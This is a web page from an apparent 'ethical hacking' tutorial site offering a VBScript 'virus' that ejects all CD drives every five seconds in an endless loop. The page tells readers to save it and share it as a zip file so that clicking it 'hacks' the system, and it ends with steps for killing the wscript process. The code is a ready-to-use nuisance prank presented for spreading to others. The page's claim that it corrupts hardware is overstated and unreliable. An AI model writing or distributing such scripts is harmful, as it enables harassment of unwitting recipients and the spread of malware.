hacking tutorials - Hardware hacking - hacker - ethical hacking - learn hacking - ethical hacking tutorials
- Let’s discuss on the hardware attacks through vbs virus scripts.
- The base motto of attacking the hardware is to corrupt or spoil the hardware of the computers.
Hardware attack details :
- Virus will take care of popping out CD Drive of the computer. If the computer got more more than one, it pops out all of them
- CD drives will get poped out until the vbs is killed through task manager.
- Hardware hacking code :
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set oCD = oWMP.cdromCollection
do
if oCD.Count >= 1 then
For i = 0 to oCD.Count - 1
oCD.Item(i).Eject
Next
For i = 0 to oCD.Count - 1
oCD.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
click below button to copy the code. By Ethical hacking tutorial team
- Save it as "hardware-attack.VBS" and you can share it as zip file.
How to execute virus :
- On clicking the vbs file, automatically the system is hacked.

Learn ethical-hacking - ethical-hacking tutorial - virus-hardware-hacking - ethical-hacking examples - ethical-hacking programs
How to kill virus :
- Goto task bar and right click and select “Task Manager”

Learn ethical-hacking - ethical-hacking tutorial - virus-toolbar - ethical-hacking examples - ethical-hacking programs
- Your task manager will open.
- Search for “Microsoft Windows Based Script Host” in Windows10
- Search for “wscript.exe” in Windows 7.

Learn ethical-hacking - ethical-hacking tutorial - virus-end-task - ethical-hacking examples - ethical-hacking programs
- Select the process, right click and click “End Task”. Your process is killed and your virus is killed.